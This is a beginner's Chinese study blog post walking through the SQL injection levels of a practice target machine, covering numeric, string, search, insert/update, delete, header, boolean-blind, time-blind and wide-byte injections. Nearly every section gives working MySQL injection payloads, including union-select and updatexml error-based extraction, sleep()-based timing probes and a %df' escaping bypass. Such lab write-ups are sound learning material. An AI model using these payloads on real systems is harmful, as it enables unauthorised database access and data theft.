"""本人网安小白,此贴仅作为记录我个人测试的思路、总结以便后期复习;今后本着少就是多,慢就是快的方式一步一个脚印进行学习,把这个知识点学扎实了,再学另外一个知识点。费曼教授是不是曾经说过以教代学是最好的学习方式?有很多错点可圈可指,所以也请dalao指出不对的地方,所谓教他人的时候也是在稳固自身"""
未做严格排版,后面有时间了再来整理整理
Ps:靶机链接:https://blog.csdn.net/qq_35258210/article/details/112465795
目录
1、数字型注入(post)
这里并不能直接输入,那抓包吧
因为我们知道了是数字型,那么payload: -1 or 1=1,先让其在库里找不到为false,or 1=1 永真,所以全部用户名出来了
使用order by查询列,查询3时显示没有,2时显示正常,那应该是2列了
这个时候在2的位置替换成要查询的数据就行了
2、字符型注入(get)
输入1,回显提示没有这个用户,输入单引号报错了
可以看到报错回显,我们输入的单引号被左右两个单引号包裹这
构造payload: ' order by 4 # 查询列数,报错提示没有4,3也没有,2没反应,那应该是2列了
payload: ' union select 1,database() #
3、搜索型注入
输入单引号时报错,我们输入的单引号前面有个百分号并且被左右两个单引号包裹
百分号(%):表示通配任意N个字符
Payload: ' # 显示全部了,但这不是我们想要的
Payload: ' order by 3 # 查询列,这关是3列
payload: ' union select version(),database(),user() # 查询当前数据库版本、当前库名、数据库用户名
拼接后:select * from user where id='%$id' union select 1,database(),user() #'
4、xx注入
输入单引号时报错,可以看到我们输入的单引号被左右单引号包裹并且最后还有个括号
Payload: ') order by 2 # 查询列,这次是2列
Payload: ') union select version(),database() #
拼接后:select * from user where id=('') union select version(),database() #')
5、insert/update注入
这里有两个必填项
这里报错了,我们用户名输入123并没有报错,说明123没问题,密码的单引号报错左右单引号包裹并且有括号,最后面还有个括号
(Insert username=($uname) and password=md5('$passwd') and sex='$sex' and phone= '$phone' and email='$email' and ass='$ass' )
因为是没有返回结果,所以这里我们自己构造个报错提示
payload: ') and updatexml(1,concat(0x7e,user(),0x7e),1))#
单引号和括号闭合password,or 要是前面的false就执行后面的语句,updatexml制作个报错,最后面构造一个括号闭合整条sql语句,再把后面的内容注释掉
5.2、在修改信息中注入
在随便一个框中加个单引号
这里报错最后面和最前面的单引号是mysql报错自带的,这个报错的引号看着有点奇怪,仔细分析了下,我们注入的点是在性别里sql中的 sex,之所以不是这样显示sex=''root',是因为sex= 正常的 这个sql报错是从第一个错开始截取的
payload: ' or updatexml(1,concat(0x7e,database(),0x7e),1) #
第一个单引号是闭合sex=' 最后记得注释掉后面的内容
===================
5、delete注入
在框里留言一条数据,打开bp开启拦截,点击删除留言
这关注入点在url id值里,当然我一开始是不知道还有这种姿势的,参考了一些资料,payload自己构造的,参考的是姿势,算是涨知识了,每一处与数据库有交互的地方都可能存在安全问题
在id的value值77后面构造个单引号,报错了,可以看到只有左右两个单引号包裹,这两个单引号是mysql报错自带的,说明value值是一个数字型
Payload: 77 and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20%23
6、header注入
先登录正确的账号密码
登录进去后,bp开启拦截,刷新页面
把user-agent全部干掉,构造个单引号闭合user-agent原请求头最好的单引号,最后在我们构造的payload加个单引号闭合Accept的第一个单引号
payload:' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
第一个单引号是为了闭合user-agent最前面那个单引号,最后面那个是为了闭合下面accept请求头的
7、sql盲注
输入什么都没反应
Payload: root' and 1=1 #
正常显示,and1=2时显示没有这个username,那么这表示我们构造的payload插入进去了
查询列,2的时候显示正常,3的时候显示没有username,那么可以判定存在2列
payload:root' and length(database())>7 #
判断库名字符长度是否大于7
显示没有username,说明不大于7
大于6时正常显示了,小于7大于6,那就是6了
接下来使用substr函数配合bp爆破库名
add要爆破的字符
导入字典
p的长度和其他的长度不一样,证明这里就是p是正确的,p
把这个1改为2,从第二个字符开始截取
第二个字符爆破出来了,以此类推,把库名长度为6的6个字符爆破出来就可以知道库名了,p+i
8、Time盲注
刚开始输入什么都没反应,后面构造了 sleep(5)
Payload: 三种都可以
root' and if(ascii(substr(database(),1,1)=112),sleep(5),null) #
root' and if((substr(database(),1,1)='p'),sleep(5),null) #
root' and if(substr(database(),1,1)='p',sleep(5),null) #
9、宽字节注入
这关宽字节注入,大概意思就是有些过滤不严谨的地方后端编码可能使用UTF8编码\'进行了单引号转义,有时候我们使用GBK编码绕过后端反斜杠转义
在输入框构造的payload好像不起作用,然后我想到用bp抓包试一下,后面试出来了
payload: %df'%20or%201=1%20%23